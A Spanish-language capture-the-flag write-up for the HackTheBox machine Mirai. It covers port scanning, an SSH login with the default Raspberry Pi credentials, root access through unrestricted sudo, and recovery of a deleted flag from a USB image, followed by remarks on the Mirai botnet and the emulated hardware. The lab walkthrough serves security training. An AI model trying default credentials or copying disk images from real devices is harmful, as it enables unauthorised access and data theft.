- Dificultad:
easy - Tiempo aprox.:
~40 min - Datos Iniciales:
10.129.57.106
Enumeración inicial
#Escaneo de puertos
#Empezamos con un escaneo de puertos, que muestra lo siguiente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| # ----> TCP
$ sudo nmap -sT -Pn -p- --open 10.129.57.106 # Muestra 22,53,80,1550,32400,32469 abiertos
$ sudo nmap -sT -Pn -p22,53,80,1550,32400,32469 -sVC 10.129.57.106
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
53/tcp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
1550/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open http Plex Media Server httpd
|_http-favicon: Plex
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Unauthorized
32469/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# ----> UDP
$ sudo nmap -sU -Pn --top-ports=200 10.129.57.106 # Muestra 53,123,5353 abiertos. Algunos abiertos/filtrados.
$ sudo nmap -sU -Pn -p53,68,123,1900,5353 -sVC 10.129.57.106
PORT STATE SERVICE VERSION
53/udp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
123/udp open ntp NTP v4 (unsynchronized)
| ntp-info:
|_
5353/udp open mdns DNS-based service discovery
| dns-service-discovery:
| 9/tcp workstation:
| ipv4: 10.129.57.106
| ipv6: dead:beef::a0de:adff:fed3:9adc
| name: raspberrypi [a2:de:ad:d3:9a:dc]
| hostname: raspberrypi
| 22/tcp udisks-ssh:
| ipv4: 10.129.57.106
| ipv6: dead:beef::a0de:adff:fed3:9adc
|_ name: raspberrypi
|
Hemos encontrado varios puertos de TCP.
22/tcp (OpenSSH 6.7p1): Algunas vulnerabilidades que permiten enumeración de usuarios (CVE-2018-15473, CVE-2016-6210)53/tcp (dnsmasq 2.76): Servidor DNS, vulnerable a varios buffer overflows (RCE/Privesc), tanto de Heap (2 primeros) como de Stack (2 últimos) (CVE-2017-14491, CVE-2017-14492, CVE-2017-14493, CVE-2026-4892).- Sí, un CVE de 2026 afecta a una máquina de 9 años antes.
- Podemos comprobar si nos da algún dominio/vhost específico.
80/tcp (lighttpd 1.4.35): Sin vulnerabilidades relevantes1550/tcp (Platinum UPnP 1.0.5.13, UPnP/1.0 DLNADOC/1.50): Servidor multimedia (música, vídeos, fotos, etc.). Tiene alguna vulnerabilidad pero no son relevantes32400/tcp (Plex Media Server httpd): Servidor multimedia también, no parece ser demasiado útil, pero no lo descartamos del todo.32469/tcp (Platinum UPnP 1.0.5.13): Otro puerto del servidor multimedia, no nos sirve.
Y otros tantos de UDP.
53/udp (dnsmasq 2.76): El mismo server DNS.123/udp (ntp v4): Servidor de tiempo, no nos sirve.5353/udp (mdns): Nos ha dado algo de información importante:- El servidor es casi con total seguridad un Raspberry Pi
- Se menciona
udisks-ssh, en relación con el puerto 22/tcp - Es posible que
raspberrypi sea el hostname con el que el propio servidor se reconoce a sí mismo, podemos comprobarlo con el servicio DNS.
Buscando info
#Antes de seguir, podemos comprobar alguna cosa. P.ej, el nombre con el que se reconoce a sí mismo el servidor, para ver si hay algún dominio que desconozcamos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| $ nslookup
> server 10.129.57.106
Default server: 10.129.57.106
Address: 10.129.57.106#53
# Miramos cómo se reconoce a sí mismo (con qué hostname) el propio servidor dns
# No hay nada relevante
> localhost
Server: 10.129.57.106
Address: 10.129.57.106#53
Name: localhost
Address: 127.0.0.1
Name: localhost
Address: ::1
# Comprobamos si raspberrypi es el hostname, vemos que efectivamente lo es
> raspberrypi
Server: 10.129.57.106
Address: 10.129.57.106#53
Name: raspberrypi
Address: 192.168.204.129 # Otra interfaz de red
Name: raspberrypi
Address: 127.0.0.1
# Comprobamos si hay más dominios para la interfaz recién descubierta y para el resto
> 192.168.204.129
129.204.168.192.in-addr.arpa name = raspberrypi
> 127.0.0.1
1.0.0.127.in-addr.arpa name = localhost. # Nada
> 10.129.57.106
** server can't find 106.57.129.10.in-addr.arpa: NXDOMAIN # Nada
|
Sabemos que raspberrypi es el hostname, así que el servidor es casi seguro un raspi. Una cosa que no cuesta nada comprobar es si los RSP’s tienen credenciales por defecto del SO, porque si es así ya tenemos el foothold inicial.
Tras una búsqueda:
- Los sistemas Raspberry Pi OS actuales no tienen credenciales por defecto
- Los sistemas Raspberry Pi OS previos a abril de 2022 tienen las credenciales por defecto
pi:raspberry.
Mirai es una máquina de 2017, así que no sería raro que funcionase.
1
2
3
4
5
6
7
| $ ssh pi@10.129.57.106
...[SNIP]...
pi@10.129.57.106's password: raspberry
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
pi@raspberrypi:~ $
|
Y ya estamos dentro.
Privesc
#Hacemos una enumeración inicial, miramos qué privilegios sudo tenemos.
1
2
3
4
5
6
7
| pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
|
Y tenemos privilegios de administrador completos, parece que no nos va a costar mucho hacer la máquina.
1
2
3
| pi@raspberrypi:~ $ sudo su
root@raspberrypi:/home/pi# whoami
root
|
Y ya hemos acabado (o no).
Buscando las flags
#Ahora solo queda tomar las flags.
1
2
3
4
| root@raspberrypi:/home/pi# cat user.txt
cat: user.txt: No such file or directory
root@raspberrypi:/home/pi# find . -iname "user.txt"
./Desktop/user.txt
|
La primera no estaba donde suele estar, pero no ha costado mucho encontrarla. Vamos a por la segunda.
1
2
3
| root@raspberrypi:/home/pi# cd
root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
|
Vaya, tampoco parece que esté aquí. Podemos probar a buscarla.
1
2
3
4
5
6
| root@raspberrypi:~# find / -iname "root.txt"
/lib/live/mount/persistence/sda2/root/root.txt
/root/root.txt
root@raspberrypi:~# cat /lib/live/mount/persistence/sda2/root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
|
Y esta otra tampoco es. En realidad, son el mismo archivo físico pero accesible desde dos rutas distintas por la forma en que está montado el sistema. /root/root.txtp es la vista combinada que ofrece el overlay filesystem en uso (en este caso AUFS), mientras que /lib/live/mount/persistence/sda2/root/root.txt es el acceso directo a la partición de persistencia en disco. Si en lugar de root.txt buscamos user.txt veremos que pasa lo mismo, aparece 2 veces.
Si la flag está en un pincho USB probablemente tengamos que montarlo, así que vamos a echar un vistazo.
1
2
3
4
5
6
7
8
| root@raspberrypi:~# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 10G 0 disk
├─sda1 8:1 0 1.3G 0 part /lib/live/mount/persistence/sda1
└─sda2 8:2 0 8.7G 0 part /lib/live/mount/persistence/sda2
sdb 8:16 0 10M 0 disk /media/usbstick
sr0 11:0 1 1024M 0 rom
loop0 7:0 0 1.2G 1 loop /lib/live/mount/rootfs/filesystem.squashfs
|
Ahí tenemos el pincho usb, /dev/sdb, montado en /media/usbstick. Entramos a ver qué hay.
1
2
3
4
5
6
7
8
| root@raspberrypi:~# cd /media/usbstick/
root@raspberrypi:/media/usbstick# ls
damnit.txt lost+found
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
|
Y se nos ha vuelto a escapar. Al parecer James ha borrado el flag “sin querer”.
Por suerte, al borrar un archivo, por defecto no se sobreescriben sus datos, sino que simplemente el sistema de archivos borra la entrada que apunta a los datos reales de dicho archivo.
Normalmente necesitaríamos un programa especializado en recuperar archivos borrados, pero aprovechando que es un CTF y el “USB” ocupa solamente 10MB (como se ve en el output de lsblk), podemos usar dd para copiar el disco entero a un archivo, y luego usar strings para encontrar el texto. Podríamos usar binwalk si fuese otro formato, pero los .txt no suelen tener magic number.
De todas formas, si fuésemos aún más vagos podríamos hacer simplemente strings /dev/sdb y funcionaría igual, pero por alargar esto un poco vamos a usar dd para copiar el disco a nuestro dispositivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| root@raspberrypi:/media/usbstick# cd /tmp
# Copiamos el disco a usb.img
root@raspberrypi:/tmp# sudo dd if=/dev/sdb of=usb.img bs=4M
2+1 records in
2+1 records out
10485760 bytes (10 MB) copied, 0.0363273 s, 289 MB/s
# Comprobamos que está ahí
root@raspberrypi:/tmp# file usb.img
usb.img: Linux rev 1.0 ext4 filesystem data, UUID=635bcd7f-1d95-4229-bf13-3e722026db3c (extents) (huge files)
# Lo pasamos a nuestra máquina
root@raspberrypi:/tmp# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 ...
# Hacemos wget http://10.129.57.106:8000/usb.img en nuestra máquina
10.10.14.102 - - [18/Aug/2026 00:31:21] "GET /usb.img HTTP/1.1" 200 -
|
Y ahora ya tenemos el USB en crudo descargado en nuestra máquina, solo queda buscar el .txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| $ strings usb.img
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3174734e3074544833464c34475f3a28 # <---- El flag!!!!!!!!!!!!!!!!!!!!!!!!!!!
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
|
Y ahí tenemos el flag, ahora sí hemos acabado.
Post-Root: Mirai y Raspi
#Curiosamente, el nombre de la máquina, Mirai (未来), “futuro” en japonés, es el nombre de una botnet de Linux que apareció en 2016 y que atacaba dispositivos IoT (cámaras IP, routers, etc).
Mirai comprometía los dispositivos usando las credenciales por defecto de algunos servicios como telnet, algo bastante parecido a lo hecho aquí, así que el nombre tiene bastante sentido.
Qué raspi se está simulando?
#Por otro lado, si tienes curiosidad por saber qué Raspberry Pi se simula en esta máquina, la respuesta es ninguno. Aunque Raspberry Pi OS es igual para todos los chips Raspi, hay varias formas de comprobar qué chip físico se está usando, y la respuesta en este caso para todas esas formas es que no se está simulando ningún raspi existente.
Determinando el raspi por el hardware
#Cada chip tiene unas características específicas, así que en función de la CPU, la RAM, sus núcleos y demás deberíamos poder al menos cercar varias posibilidades.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| root@raspberrypi:~# lscpu
Architecture: i686
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 1
On-line CPU(s) list: 0
Thread(s) per core: 1
Core(s) per socket: 1
Socket(s): 1
Vendor ID: AuthenticAMD
CPU family: 25
Model: 1
Model name: AMD EPYC 7763 64-Core Processor
Stepping: 1
CPU MHz: 2445.405
BogoMIPS: 4890.81
Hypervisor vendor: VMware
Virtualization type: full
L1d cache: 32K
L1i cache: 32K
L2 cache: 512K
L3 cache: 262144K
|
Se está usando una CPU de arquitectura i686 con 64 núcleos, que salió en 2021 (4 años más tarde que la máquina), y de la que solo podemos usar un núcleo.
Todos los Raspberry Pi tienen CPUs ARM. Esto ya apunta a que por hardware no vamos a poder deducir nada, porque la CPU en uso es una usada exclusivamente en servidores enterprise, como centros de datos, o en este caso para ejecutar las VM de HackTheBox.
Métodos específicos de Raspberry Pi
#Hay varias formas de determinar el modelo específico, una de ellas es comprobar el árbol de dispositivos, pero:
1
2
| root@raspberrypi:~# cat /sys/firmware/devicetree/base/model
cat: /sys/firmware/devicetree/base/model: No such file or directory
|
Lamentablemente no existe.
Otro método es mirar los campos hardware y revision en /proc/cpuinfo, pero:
1
2
| root@raspberrypi:~# cat /proc/cpuinfo | grep -iE 'revision|hardware'
# nada
|
Y el método final es usar pinout, un comando que muestra la distribución de pines GPIO del chip y el modelo específico en uso, pero el resultado tampoco es demasiado prometedor.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| root@raspberrypi:~# pinout
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Cant connect to pigpio at localhost(8888)
Did you start the pigpio daemon? E.g. sudo pigpiod
Did you specify the correct Pi host/port in the environment
variables PIGPIO_ADDR/PIGPIO_PORT?
E.g. export PIGPIO_ADDR=soft, export PIGPIO_PORT=8888
...[SNIP]... # Al parecer no se ha iniciado el daemon, esto tiene fácil solución
root@raspberrypi:~# sudo pigpiod
root@raspberrypi:~# 2026-08-18 01:42:11 initAllocDMAMem: mbox open failed(No such device or address)
Can't initialise pigpio library # Esto si que no tiene fácil solución
|
Y vemos que tampoco hay ningún tipo de pin simulado, lo que en realidad tiene sentido, para qué iban a simularse los pines GPIO en una máquina así? En definitiva, si buscábamos un modelo de Raspi, no lo hemos encontrado.